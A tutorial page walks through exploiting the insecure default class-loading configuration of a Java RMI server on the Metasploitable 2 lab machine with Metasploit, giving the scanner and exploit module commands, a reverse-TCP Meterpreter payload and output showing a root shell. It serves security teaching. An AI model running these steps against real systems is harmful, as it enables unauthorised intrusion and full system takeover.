How To: Exploit Java Remote Method Invocation to Get Root

Exploit Java Remote Method Invocation to Get Root

In the world of technology, there's often a trade-off between convenience and security. The Java Remote Method Invocation is a system where that trade-off is all too real. The ability for a program written in Java to communicate with another program remotely can greatly extend the usability of an app, but it can also open up critical vulnerabilities that allow it to be compromised by an attacker.

In this tutorial, we will be using the Metasploit Framework to attack an insecure instance of a Java RMI server located on Metasploitable 2, a vulnerable virtual machine.

Introduction to Java RMI

The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.

One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.

RMI applications usually consist of two programs: a client and a server. When the server is created, the methods of its objects are made available to the client. The communication is handled by two intermediary objects: the stub and the skeleton.

The stub is located on the client side and sends information to the server, such as an identifier for the remote object, the name of the method to be invoked, and other relevant parameters. The skeleton resides on the server and passes the request from the client to the remote object.

Vulnerabilities arise when the default, insecure configuration of the server is present, allowing for classes to be loaded from any remote URL. Since method calls to the server do not require any authentication, this can be exploited. Metasploit contains a module to scan for Java RMI endpoints, as well as a module to actively exploit this vulnerability.

Scanning for Java RMI

Start Metasploit by typing msfconsole in the terminal. There's an auxiliary scanner we can use to detect whether the Java RMI vulnerability exists on our target; At the prompt, type search rmi and locate the "auxiliary/scanner/misc/java_rmi_server" module.

msf > search rmi
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                            Disclosure Date  Rank       Description
   ----                                                            ---------------  ----       -----------
   auxiliary/scanner/misc/java_rmi_server                          2011-10-15       normal     Java RMI Server Insecure Endpoint Code Execution Scanner
   exploit/multi/misc/java_rmi_server                              2011-10-15       excellent  Java RMI Server Insecure Default Configuration Java Code Execution

Next, enter use auxiliary/scanner/misc/java_rmi_server and type options to display the settings.

msf > use auxiliary/scanner/misc/java_rmi_server
msf auxiliary(scanner/misc/java_rmi_server) > options

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads

Now we need to specify the target by typing set rhosts 172.16.1.102 (use the IP address of your own target). We can also increase the number of threads a bit to make the scanner to run a little faster. Type set threads 16 to set the number of threads to sixteen, a relatively safe amount. Finally, type run (an alias for exploit) to scan the target.

msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 172.16.1.102
rhosts => 172.16.1.102
msf auxiliary(scanner/misc/java_rmi_server) > set threads 16
threads => 16
msf auxiliary(scanner/misc/java_rmi_server) > run

[+] 172.16.1.102:1099     - 172.16.1.102:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable. Let's try to exploit it.

Exploiting Java RMI

Back in our previous search results, locate the "exploit/multi/misc/java_rmi_server" module, and type use exploit/multi/misc/java_rmi_server to load it. Now we can display the various options for this exploit.

msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST                       yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

   Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

Type set rhost 172.16.1.102 (using the appropriate IP address) to specify the target. All of the other options can be left as default for now. Next, use show payloads to display the compatible payloads for this exploit.

msf exploit(multi/misc/java_rmi_server) > set rhost 172.16.1.102
rhost => 172.16.1.102
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   generic/custom                                   normal  Custom Payload
   generic/shell_bind_tcp                           normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                        normal  Generic Command Shell, Reverse TCP Inline
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, Java Bind TCP Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, Java Reverse HTTP Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, Java Reverse HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, Java Reverse TCP Stager
   java/shell/bind_tcp                              normal  Command Shell, Java Bind TCP Stager
   java/shell/reverse_tcp                           normal  Command Shell, Java Reverse TCP Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, Reverse TCP Inline

We'll use the all-powerful Meterpreter here with a reverse TCP shell. Enter set payload java/meterpreter/reverse_tcp to enable this payload.

msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp

Let's take a look at the current settings again with options.

msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST      172.16.1.102     yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

Since we're using a reverse shell, we need to specify the listen address. Type set lhost 172.16.1.100 (the IP address of your attacking machine), and we should be good to go. Type run to launch the exploit.

msf exploit(multi/misc/java_rmi_server) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:4444 -> 172.16.1.102:38797) at 2018-09-25 11:35:32 -0500
[*] 172.16.1.102:1099 - Server stopped.

meterpreter >

We can see that the exploit started a handler on our system, sent the RMI method call to the target, and that a Meterpreter session was successfully opened. We can now use commands like getuid, to see the user that Meterpreter is running as on the target, and sysinfo, to display information about the target.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux

We can also spawn a local shell with the shell command.

meterpreter > shell
Process 1 created.
Channel 1 created.
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
    inet6 fe80::a00:27ff:fe77:626c/64 scope link
       valid_lft forever preferred_lft forever

We are now root at this point, and from here, the world is our oyster since we essentially have full control over the target.

Wrapping Up

Good intentions and the promise of enhanced functionality can often lead to vulnerabilities in an application, as was the case we saw here. Today, we covered the basic architecture and behavior of the Java Remote Method Invocation, how to determine if a vulnerability is present, and how to exploit that vulnerability with Metasploit to ultimately attain root access on the target. We were essentially able to own the entire system all because of an insecure configuration.

Cover image by Daria-Yakovleva/Pixabay

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest